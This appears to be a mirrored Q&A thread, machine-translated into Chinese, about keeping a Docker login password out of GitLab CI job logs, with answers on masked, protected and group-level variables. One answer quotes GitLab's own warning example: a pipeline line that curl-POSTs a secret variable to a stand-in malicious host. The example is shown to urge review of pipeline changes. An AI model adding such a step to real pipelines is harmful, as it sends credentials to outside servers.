【问题标题】:Hide variable value in Gitlab pipeline logs when bash script is executed执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值
【发布时间】:2020-10-30 20:03:43
【问题描述】:

当我在阶段(Gitlab 管道)中运行 bash 文件时,它会在日志中显示 GitLab 机密值,理想情况下这些值不应该是可见的。我怎样才能避免这种情况?

GitLab 流水线阶段

stage: docker_push
script:
    - /home/directory/dockerPush.sh
tags:
    - docker

bash 文件(dockerPush.sh)内容

docker login --username foo --password ${DOCKER_LOGIN_PASSWORD}
docker push ${IMAGE_NAME}

管道日志

+ docker login --username foo --password Doc49byfe

【问题讨论】:

    标签: bash shell gitlab gitlab-ci


    【解决方案1】:

    当您添加变量时,请检查“掩码变量”选项:

    【讨论】:

      【解决方案2】:

      您需要像 Glen 回答一样使用掩码功能。

      但掩码功能有一些与变量格式相关的限制,如本文档https://docs.gitlab.com/ee/ci/variables/#masked-variable-requirements

      如果 Gitlab 拒绝屏蔽你的变量,你需要在你的 shell 脚本中做。

      一种简单的方法是将输出发送到文件(如果您确实需要日志),或者另一种选择是将输出发送到/dev/null

      【讨论】:

        【解决方案3】:

        GitLab 中有 Group-Level Environmental Variables 可用:

        您可以定义在管道环境中设置的每个项目或每个组的变量。组级变量存储在存储库之外(不在 .gitlab-ci.yml 中)。它们被安全地传递给 GitLab Runner,这使得它们在管道运行期间可用。 // 我们建议高级用户使用组环境变量来存储机密(如密码、SSH 密钥和凭据):

        • 不要使用外部密钥库。
        • 使用 GitLab 与 HashiCorp Vault 的集成。

        进一步:

        安全

        推送到您的 .gitlab-ci.yml 文件的恶意代码可能会破坏您的变量并将它们发送到第三方服务器,无论屏蔽设置如何。如果管道在受保护的分支或受保护的标签上运行,它也可能危及受保护的变量。

        所有引入 .gitlab-ci.yml 更改的合并请求之前都应仔细审查:

        为从分叉项目提交的合并请求在父项目中运行管道。

        合并更改。

        这是一个恶意.gitlab-ci.yml的简化示例:

        build:
          script:
            - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/
        

        关于屏蔽

        掩码变量(可选):如果选中,变量的值不会显示在作业日志中。如果值不满足屏蔽要求,则不保存变量。

        启用调试跟踪可能会产生严重的安全隐患。输出将包含所有变量的内容和任何其他秘密!输出将上传到 GitLab 服务器并在作业日志中显示!

        结论:

        1. 使用组变量
        2. 如果不能:屏蔽变量

        【讨论】:

          【解决方案4】:

          您是否尝试从 gitlab 管理面板添加您的环境变量,并将您的变量设置为 protected?这是一个例子:https://secrethub.io/docs/guides/gitlabci/#provide-credential 最好的,

          【讨论】:

          • protected don't mask the env var 变量,让它准备好只在受保护的分支中使用
          • 我的意思是掩码功能不好,我在使用术语“安全”的 bitbucket 管道上工作太多:)
          猜你喜欢
          • 1970-01-01
          • 2022-08-18
          • 1970-01-01
          • 2019-01-04
          • 2022-01-19
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2022-08-11
          相关资源
          最近更新 更多